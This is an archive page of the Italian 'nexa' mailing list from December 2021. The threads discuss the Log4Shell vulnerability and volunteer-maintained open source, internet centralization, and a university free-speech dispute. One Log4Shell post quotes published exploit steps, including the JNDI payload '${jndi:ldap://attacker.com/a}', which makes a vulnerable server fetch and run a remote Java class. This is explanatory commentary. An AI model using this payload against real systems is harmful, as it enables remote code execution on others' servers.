December 2021 - nexa - server-nexa.polito.it

Re: [nexa] Arbitrary code execution in iCloud, Twitter, Steam, CloudFlare, Amazon, Tesla, Baidu, Tencent

by Stefano Zacchiroli

On Tue, Dec 14, 2021 at 12:42:35PM +0100, Roberto Reale wrote: > L'informatica è fatta di bug almeno quanto di feature. > > Ciò da cui non si può prescindere è una adeguata gestione degli incidenti, > all'interno di un quadro di risk management. Già. Inoltre qua la discussione sulla presunta o reale competenza degli sviluppatori di log4j mi sembra irrilevante. Il punto principale è (come lo fu, questo si, nel caso di Heartbleed) un'intera industria IT composta di giganti for-profit che dipendono da software libero manutenuto da 3 volontari nel loro tempo libero: https://twitter.com/FiloSottile/status/1469441477642178561 (e seguenti) Chiamatelo "free riding" o, più prosaicamente, "sfruttamento", ma è questo il problema da risolvere. Saluti -- Stefano Zacchiroli . zack(a)upsilon.cc . upsilon.cc/zack _. ^ ._ Full professor of Computer Science o o o \/|V|\/ Télécom Paris, Polytechnic Institute of Paris o o o </> <\> Co-founder & CTO Software Heritage o o o o /\|^|/\ Former Debian Project Leader & OSI Board Director '" V "'

Dec. 14, 2021

Re: [nexa] Arbitrary code execution in iCloud, Twitter, Steam, CloudFlare, Amazon, Tesla, Baidu, Tencent

by 380°

Ciao Giacomo, buongiorno nexiane scusa Giacomo se mi permetto di fare l'egesi del tuo messaggio, ma riportato così rischia di rimanere un po' troppo criptico a chi non sa come funziona il "giro del fumo". ... ovviamente ho anche qualche commento :-) Giacomo Tesio <giacomo(a)tesio.it> writes: > Per la serie: "broken beyond repair" Si tratta del CVE-2021-44228, aka Log4Shell Credo che il riassunto minimo più efficace sia questo: --8<---------------cut here---------------start------------->8--- By submitting a specially crafted request to a vulnerable system, depending on how the system is configured, an attacker is able to instruct that system to download and subsequently execute a malicious payload. --8<---------------cut here---------------end--------------->8--- (https://unit42.paloaltonetworks.com/apache-log4j-vulnerability-cve-2021-442…) Per "submit a specially crafted request" non c'è bisogno di chissà quali tecniche di hacking, è sufficiente modificare il nome del proprio host (smartphone, Tesla...) [1] e contattare un servizio che usa log4j. > https://www.lunasec.io/docs/blog/log4j-zero-day/ Il blog post è abbastanza tecnico ma la spiegazione di come fare a sfruttare il baco è abbastanza semplice: --8<---------------cut here---------------start------------->8--- 1. Data from the User gets sent to the server (via any protocol), 2. The server logs the data in the request, containing the malicious payload: ${jndi:ldap://attacker.com/a} (where attacker.com is an attacker controlled server), 3. The log4j vulnerability is triggered by this payload and the server makes a request to attacker.com via "Java Naming and Directory Interface" (JNDI), 4. This response contains a path to a remote Java class file (ex. http://second-stage.attacker.com/Exploit.class) which is injected into the server process, 5. This injected payload triggers a second stage, and allows an attacker to execute arbitrary code. --8<---------------cut here---------------end--------------->8--- (https://www.lunasec.io/docs/blog/log4j-zero-day/#exploit-steps) Un elenco che /mi pare/ ben mantenuto è quello del Nationaal Cyber Security Centrum olandese: https://github.com/NCSC-NL/log4shell/tree/main/software Fa girare un po' la testa, effettivamente. ... Google non pervenuto?!? [...] > Siamo al livello di heartbleed e melt down, ma è il 2021. Sì ma siamo IMHO /sotto/ al livello di SolarWinds, il peggio deve ancora manifestarsi perché le APT (advanced persistent threat) sono molto più subdole anche dei peggiori bachi come questo di log4j. > Chi crede che non sia stato exploitato per mesi prima di essere reso > pubblico, non dovrebbe parlare di informatica in pubblico. La libertà di credenza e di parola non si deve negare a nessuno. WIRED [2] scrive: --8<---------------cut here---------------start------------->8--- The organization (Apache Foundation, n.d.r.) says that Chen Zhaojun of Alibaba Cloud Security Team first disclosed the vulnerability. --8<---------------cut here---------------end--------------->8--- ...nel frattempo chissà cosa non hanno fatto con quella vulnerabilità. Il tempo medio di un APT (advanced persistent threat) /stimato/ va dai 71 giorni fino al 240, non è irragionecole stimare che la vulnerabilità di log4j sia stata disponibile fin da circa 100 giorni prima dell'annuncio. Comunque chi si occupa di sicurezza sa benissimo che non basta aggiornare log4j e amen, tocca reinstallare il sistema (quelli embedded inclusi, tipo gli IoT) da zero, con log4j aggiornato... e ovviamente rifare da zero i container Docker, vero?!? :-O Tanto lavoro, ma proprio tanto... forse troppo e per questo in molti casi non verrà fatto. > Invece, a chi sostiene che sia normale o inevitabile, andrebbe > impedita qualsiasi professione legata all'informatica. ROTFL. Sinceramente anche io non mi capacito di come i progettisti di log4j consentano l'uso di lookup JNDI dandogli in input qualsiasi cosa trovino in un /file di log/, consentendo così attacchi di tipo "JNDI injection" [3] a chiunque; bisogna proprio volersi male. Saluti 380° [1] https://nitter.net/chvancooten/status/1469340927923826691 [2] https://web.archive.org/web/20211210195812/https://www.wired.com/story/log4… [3] https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/ «PSA: Log4Shell and the current state of JNDI injection» -- 380° (Giovanni Biscuolo public alter ego) «Noi, incompetenti come siamo, non abbiamo alcun titolo per suggerire alcunché» Disinformation flourishes because many people care deeply about injustice but very few check the facts. Ask me about <https://stallmansupport.org>.

Dec. 14, 2021

Re: [nexa] Arbitrary code execution in iCloud, Twitter, Steam, CloudFlare, Amazon, Tesla, Baidu, Tencent

by Roberto Reale

L'informatica è fatta di bug almeno quanto di feature. Ciò da cui non si può prescindere è una adeguata gestione degli incidenti, all'interno di un quadro di risk management. Roberto On Mon, Dec 13, 2021 at 8:49 PM Giacomo Tesio <giacomo(a)tesio.it> wrote: > Per la serie: "broken beyond repair" > > https://www.lunasec.io/docs/blog/log4j-zero-day/ > > Siamo al livello di heartbleed e melt down, ma è il 2021. > > > Chi crede che non sia stato exploitato per mesi prima di essere reso > pubblico, > non dovrebbe parlare di informatica in pubblico. > > Invece, a chi sostiene che sia normale o inevitabile, andrebbe impedita > qualsiasi > professione legata all'informatica. > > > Giacomo > _______________________________________________ > nexa mailing list > nexa(a)server-nexa.polito.it > https://server-nexa.polito.it/cgi-bin/mailman/listinfo/nexa >

Dec. 14, 2021

Re: [nexa] Arbitrary code execution in iCloud, Twitter, Steam, CloudFlare, Amazon, Tesla, Baidu, Tencent

by Stefano Traverso

CONFIDENTIAL Ciao Giacomo, Posso chiederti di argomentare meglio questa frase, per favore? In particolare, come credi che questo tipo di incidenti sia evitabile? Invece, a chi sostiene che sia normale o inevitabile, andrebbe impedita qualsiasi professione legata all'informatica. Grazie, Stefano -- [signature_1984774977] Stefano Traverso, PhD Research Lead Ermes – Intelligent Web Protection www.ermes.company<https://www.ermes.company/> Mobile : +39 331 455 9794 From: nexa <nexa-bounces(a)server-nexa.polito.it> on behalf of Giacomo Tesio <giacomo(a)tesio.it> Date: Monday, 13 December 2021 at 20:49 To: nexa(a)server-nexa.polito.it <nexa(a)server-nexa.polito.it> Subject: [nexa] Arbitrary code execution in iCloud, Twitter, Steam, CloudFlare, Amazon, Tesla, Baidu, Tencent Per la serie: "broken beyond repair" https://eur05.safelinks.protection.outlook.com/?url=https%3A%2F%2Fwww.lunas… Siamo al livello di heartbleed e melt down, ma è il 2021. Chi crede che non sia stato exploitato per mesi prima di essere reso pubblico, non dovrebbe parlare di informatica in pubblico. Invece, a chi sostiene che sia normale o inevitabile, andrebbe impedita qualsiasi professione legata all'informatica. Giacomo _______________________________________________ nexa mailing list nexa(a)server-nexa.polito.it https://eur05.safelinks.protection.outlook.com/?url=https%3A%2F%2Fserver-ne… CONFIDENTIAL

Dec. 14, 2021

Re: [nexa] Avoiding Internet Centralization

by Guido Vetere

gli ho dato solo una scorsa e forse ho perso qualche pezzo, ma mi sembra che il documento manchi il punto fondamentale: gli algoritmi che lavorano sui dati (search, ranking, profiling, ecc) vanno molto meglio se i dati sono centralizzati, as simple as that .. G. On Tue, 14 Dec 2021 at 08:58, Alberto Cammozzo via nexa < nexa(a)server-nexa.polito.it> wrote: > < > https://mnot.github.io/avoiding-internet-centralization/draft-nottingham-av… > > > > Avoiding Internet Centralization > Abstract > > While the Internet was designed and founded as a decentralized > network-of-networks, it is continuously subjected to forces that encourage > its centralization. This document offers a definition of centralization, > discusses the risks involved therein, attempts to identify different types > of centralization, catalogues some limitations to common approaches to > controlling it, and recommends best practices for protocol designers.¶ > [...]_______________________________________________ > nexa mailing list > nexa(a)server-nexa.polito.it > https://server-nexa.polito.it/cgi-bin/mailman/listinfo/nexa >

Dec. 14, 2021

Re: [nexa] La terza epoca di internet è alle porte

by Vetro' Antonio

Leggendolo il mio pensiero è corso ai tanti Alex con un valore di $Alex così basso che 14 ore di lavoro al giorno non bastano. Il giorno 14 dic 2021, alle ore 09:50, don Luca Peyron <dluca.universitari(a)gmail.com<mailto:dluca.universitari@gmail.com>> ha scritto: Buongiorno a tutta la lista: pezzo molto interessante a mio giudizio: di investimenti, capitale sociale, nuove forme di identità finanziarizzate. Buona lettura Dl https://www.internazionale.it/notizie/rex-woodbury/2021/12/13/internet-capi… _______________________________________________ nexa mailing list nexa(a)server-nexa.polito.it<mailto:nexa@server-nexa.polito.it> https://server-nexa.polito.it/cgi-bin/mailman/listinfo/nexa

Dec. 14, 2021

La terza epoca di internet è alle porte

by don Luca Peyron

Buongiorno a tutta la lista: pezzo molto interessante a mio giudizio: di investimenti, capitale sociale, nuove forme di identità finanziarizzate. Buona lettura Dl https://www.internazionale.it/notizie/rex-woodbury/2021/12/13/internet-capi…

Dec. 14, 2021

Avoiding Internet Centralization

by Alberto Cammozzo

<https://mnot.github.io/avoiding-internet-centralization/draft-nottingham-av…> Avoiding Internet Centralization Abstract While the Internet was designed and founded as a decentralized network-of-networks, it is continuously subjected to forces that encourage its centralization. This document offers a definition of centralization, discusses the risks involved therein, attempts to identify different types of centralization, catalogues some limitations to common approaches to controlling it, and recommends best practices for protocol designers.¶ [...]

Dec. 14, 2021

Re: [nexa] An entire generation are puzzled by the idea that anyone has the right to say things they don't agree with

by Giacomo Tesio

Sono assolutamente d'accordo con te Maurizio! Il comportamento del docente è un altro sintomo dello stesso problema che ha caratterizzato il comportamento degli studenti: l'incapacità dialettica. Ma mentre un insegnante si può licenziare facilmente, sarà molto più difficile ridestare le menti di quegli studenti. E di certo, non potrà farlo lo stesso sistema educativo che le ha così gravemente danneggiate. Entrambi meritano compassione [1]. Ed ancora di più, meritano compassione le società in cui vivranno. Spero che le nostre Università sappiano fare di meglio. Giacomo [1] http://etimo.it/?term=patetico&find=Cerca On December 13, 2021 10:33:15 PM UTC, maurizio lana <maurizio.lana(a)uniupo.it> wrote: > Caro Giacomo, > hai ragione su tutti questi aspetti che menzioni. > ma confermo che non si comunica da docente a studenti dando a loro dei > patetici. > se sei nella posizione del docente hai il gravoso compito di capire come > comunicare per insegnare, non per etichettare. > se etichetti ti comporti come quegli studenti lì. > > se non lo sai o non lo vuoi fare di capire come comunicare per insegnare, > non per etichettare (e lo posso capire!) non fai il docente. > è un compito gravoso, altri ne hanno di più gravosi : chi cura i malati > in rianimazione ha compiti più gravosi di quelli di un docente, tanto più > oggi. > > io ad ogni modo parlavo del tono dell'articolo e del fatto che - mia > personale opinione - rinunci al tuo compito di docente se etichetti. > > M > > > > Il 13/12/21 22:43, Giacomo Tesio ha scritto: > > Ciao Maurizio, On December 13, 2021 3:04:02 PM UTC, maurizio lana wrote: > > per me l'articolo citato esplicita un mood da "povero libero pensatore di > destra che in una società di sinistra non ha diritto di parola". [...] io > insegno in università, e trovo che un docente non deve permettersi di > chiamare patetici i suoi studenti: perché è un'offesa gratuita. > > Non è gratuita: SONO STATI PATETICI. In 20 si sono coordinati online... > per andarsene. A 20 anni! Potevano scatenate un dibattito e costringere il > Preside a censurarli, contrastando la retorica della libera espressione > ATTRAVERSO la libera espressione. Con Internet a disposizione e 20 persone > in sala potevano umiliare Liddle ponendolo di fronte alla sindrome di > Morris o debuggando le sue affermazioni sul colonialismo... ed invece sono > andati via. Sono stati patetici, ma ancora più patetica è l'Università che > li ha resi incapaci di opporsi efficacemente ad un idiota su una cattedra. > L'università ha fallito con loro. > > semmai che discuta e spieghi in che cosa il loro modo di pensiero secondo > lui è inadeguato. > > Il ricorso alla forza del gregge invece che alla forza degli argomenti. > Comodo! Fuggendo, hanno rinunciato a combattere le idee per combattere due > persone. E questo rende patetica persino la loro vittoria. Giacomo PS: > questi studenti peraltro hanno giudicato Liddle sulla base dei risultati > personalizzati che Google ha proposto loro. Non hanno ascoltato con le > proprie orecchie, anteponendo il dato (mediato) al fatto (immediato). Solo > Google sa cosa ha mostrato a ciascuno ma ha diligentemente registrato come > ciascuno di essi ha reagito. Immaginate cosa si può fare con un po' di > mandrie conformi come queste! > > > -- https://maurobiani.it/wp-content/uploads/2021/12/gioia-zaki.png ----- > Maurizio Lana Dipartimento di Studi Umanistici Università del Piemonte > Orientale piazza Roma 36 - 13100 Vercelli tel. +39 347 7370925

Dec. 14, 2021

Re: [nexa] An entire generation are puzzled by the idea that anyone has the right to say things they don't agree with

by maurizio lana

Dec. 13, 2021